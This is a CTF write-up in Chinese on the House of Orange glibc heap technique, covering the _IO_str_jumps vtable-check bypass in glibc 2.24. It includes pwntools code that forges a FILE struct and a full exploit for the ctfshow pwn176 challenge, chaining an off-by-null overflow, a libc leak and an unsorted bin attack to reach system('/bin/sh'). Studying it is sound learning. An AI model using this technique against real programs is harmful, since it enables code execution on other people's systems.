House Of Orange
2.23
见wkctf复现一文:https://yukon.icu/2024/07/18/wkctf/
2.24
新增检测以及绕过思路
与2.23不同的点在于,2.24对于vtable的位置进行了约束,增加了一个检测函数:IO_validate_vtable
1 2 3 4 5 6 7 8 9 10 11 12
| static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable) { uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; const char *ptr = (const char *) vtable; uintptr_t offset = ptr - __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) _IO_vtable_check (); return vtable; }
|
人话就是vtable
必须在__stop___IO_vtables
和__start___libc_IO_vtables
之间
但是libc中不仅仅有_IO_file_jumps
这个vtable
,还有一个叫_IO_str_jumps
的 ,这个 vtable
不在 check 范围之内。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| const struct _IO_jump_t _IO_str_jumps libio_vtable = { JUMP_INIT_DUMMY, JUMP_INIT(finish, _IO_str_finish), JUMP_INIT(overflow, _IO_str_overflow), JUMP_INIT(underflow, _IO_str_underflow), JUMP_INIT(uflow, _IO_default_uflow), JUMP_INIT(pbackfail, _IO_str_pbackfail), JUMP_INIT(xsputn, _IO_default_xsputn), JUMP_INIT(xsgetn, _IO_default_xsgetn), JUMP_INIT(seekoff, _IO_str_seekoff), JUMP_INIT(seekpos, _IO_default_seekpos), JUMP_INIT(setbuf, _IO_default_setbuf), JUMP_INIT(sync, _IO_default_sync), JUMP_INIT(doallocate, _IO_default_doallocate), JUMP_INIT(read, _IO_default_read), JUMP_INIT(write, _IO_default_write), JUMP_INIT(seek, _IO_default_seek), JUMP_INIT(close, _IO_default_close), JUMP_INIT(stat, _IO_default_stat), JUMP_INIT(showmanyc, _IO_default_showmanyc), JUMP_INIT(imbue, _IO_default_imbue) };
|
这里我们主要用到其中的_IO_str_finish
1 2 3 4 5 6 7 8
| void _IO_str_finish (FILE *fp, int dummy) { if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)) (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); # call qword ptr [fp+0E8h] fp->_IO_buf_base = NULL; _IO_default_finish (fp, 0); }
|
绕过条件:
fp->_mode = 0
fp->_IO_write_ptr
< fp->_IO_write_base
fp->_IO_read_ptr = 0x61
, smallbin4 + 8 (smallbin size)
fp->_IO_read_base
= _IO_list_all -0x10
, smallbin -> bk, unsorted bin attack (以上为绕过_IO_flush_all_lockp
的条件)
vtable
= _IO_str_jumps - 8
,这样调用_IO_overflow
时会调用到 _IO_str_finish
fp->_flags= 0
fp->_IO_buf_base
= binsh_addr
fp+0xe8
= system_addr
根据fp
也就是file_struct的定义以及上述条件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| def pack_file(_flags = 0, _IO_read_ptr = 0, _IO_read_end = 0, _IO_read_base = 0, _IO_write_base = 0, _IO_write_ptr = 0, _IO_write_end = 0, _IO_buf_base = 0, _IO_buf_end = 0, _IO_save_base = 0, _IO_backup_base = 0, _IO_save_end = 0, _IO_marker = 0, _IO_chain = 0, _fileno = 0, _lock = 0, _wide_data = 0, _mode = 0): file_struct = p32(_flags) + \ p32(0) + \ p64(_IO_read_ptr) + \ p64(_IO_read_end) + \ p64(_IO_read_base) + \ p64(_IO_write_base) + \ p64(_IO_write_ptr) + \ p64(_IO_write_end) + \ p64(_IO_buf_base) + \ p64(_IO_buf_end) + \ p64(_IO_save_base) + \ p64(_IO_backup_base) + \ p64(_IO_save_end) + \ p64(_IO_marker) + \ p64(_IO_chain) + \ p32(_fileno) file_struct = file_struct.ljust(0x88, "\x00") file_struct += p64(_lock) file_struct = file_struct.ljust(0xa0, "\x00") file_struct += p64(_wide_data) file_struct = file_struct.ljust(0xc0, '\x00') file_struct += p64(_mode) file_struct = file_struct.ljust(0xd8, "\x00") return file_struct
|
我们可以对fp的伪造进行封装:
1 2 3 4 5 6 7 8 9 10 11 12 13
| def pack_file_flush_str_jumps(_IO_str_jumps_addr, _IO_list_all_ptr, system_addr, binsh_addr): payload = pack_file(_flags = 0, _IO_read_ptr = 0x61, #smallbin4file_size _IO_read_base = _IO_list_all_ptr-0x10, # unsorted bin attack IO_list_all_ptr, _IO_write_base = 0, _IO_write_ptr = 1, _IO_buf_base = binsh_addr, _mode = 0, ) payload += p64(_IO_str_jumps_addr-8) payload += p64(0) # paddding payload += p64(system_addr) # _IO_str_finish return payload
|
在构造payload时,只需要提供_IO_str_jumps
,_IO_list_all
,system
,/bin/sh
的地址即可。
记录一个用pwntools
得到vtable偏移的方法:
1 2 3 4 5 6 7 8
| def get_IO_str_jumps(): IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print possible_IO_str_jumps_offset return possible_IO_str_jumps_offset
|
先理解个大概,具体如何完成利用结合题目分析
ctfshow_pwn176
虽然题目是2.23的,但是可以利用2.24的思路,所以拿来复现一下
1 2 3 4 5 6 7
| puts("============="); puts("1. Allocate"); puts("2. Update"); puts("3. Show"); puts("4. Free"); puts("5. Exit"); __printf_chk(1LL, ">> ");
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| ssize_t Allocate() { signed int v0; __int64 v1; int v2; char *v3; ssize_t result;
__printf_chk(1LL, "Index: "); v0 = get_int(); if ( v0 > 0xF ) error("Invalid index!"); v1 = v0; if ( qword_2020A0[v0] ) error("Index is already allocated!"); __printf_chk(1LL, "Size: "); v2 = get_int(); if ( (v2 - 0x10) > 0xF0 ) error("Invalid size!"); qword_2020A0[v1] = malloc(v2); dword_202060[v1] = v2; __printf_chk(1LL, "Content: "); v3 = qword_2020A0[v1]; result = read(0, v3, v2); v3[result - 1] = 0; return result; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| ssize_t Update() { unsigned int v0; __int64 v1; void *v2; ssize_t result;
__printf_chk(1LL, "Index: "); v0 = get_int(); if ( v0 > 0xF ) error("Invalid index!"); v1 = v0; if ( !qword_2020A0[v0] ) error("Index is not allocated!"); __printf_chk(1LL, "Content: "); v2 = qword_2020A0[v1]; result = read(0, v2, dword_202060[v1]); *(v2 + result) = 0; return result; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| _DWORD *Free() { unsigned int v0; __int64 v1; void *v2; _DWORD *result;
__printf_chk(1LL, "Index: "); v0 = get_int(); if ( v0 > 0xF ) error("Invalid index!"); v1 = v0; v2 = qword_2020A0[v0]; if ( !v2 ) error("Index is not allocated!"); free(v2); result = dword_202060; qword_2020A0[v1] = 0LL; dword_202060[v1] = 0; return result; }
|
Allocate和Free都没有什么漏洞,Update有off_by_null,Show就show一下
虽然有free,但是还是可以打house of orange(当然也可以有别的打法,留做)
利用off_by_null构造堆溢出并泄露libc
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| add(0, 0xF0, b'a') add(1, 0xF8, b'b') add(2, 0xF0, b'c') add(3, 0x10, b'd') delete(0) edit(1, b'f' * 0xf0 + p64(0x200)) delete(2) add(0, 0xF0, b'a') show(1) io.recvuntil('content: ') main_arena_88 = u64(io.recv(6).ljust(8, b'\x00')) malloc_hook = main_arena_88 - 88 - 0x10 libc_base = malloc_hook - libc.sym['__malloc_hook'] system_addr, binsh_addr = get_sb() lg("libc_base")
_IO_list_all_addr = libc_base + _IO_list_all_s _IO_str_jumps_addr = libc_base + get_IO_str_jumps() lg("_IO_list_all_addr") lg("_IO_str_jumps_addr")
|
接下来就是利用算好的_IO_str_jumps_addr
地址构造fake_file
1 2 3 4 5 6 7 8
| fake_file = p64(0) + p64(0x60) fake_file += p64(0) + p64(_IO_list_all_addr - 0x10) fake_file += p64(0) + p64(1) fake_file += p64(0) + p64(binsh_addr) fake_file = fake_file.ljust(0xD8,'\x00') fake_file += p64(_IO_str_jumps_addr - 8) fake_file += p64(system_addr) * 2 edit(1,fake_file)
|
这样执行(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); # call qword ptr [fp+0E8h]
的时候就能触发system('/bin/sh')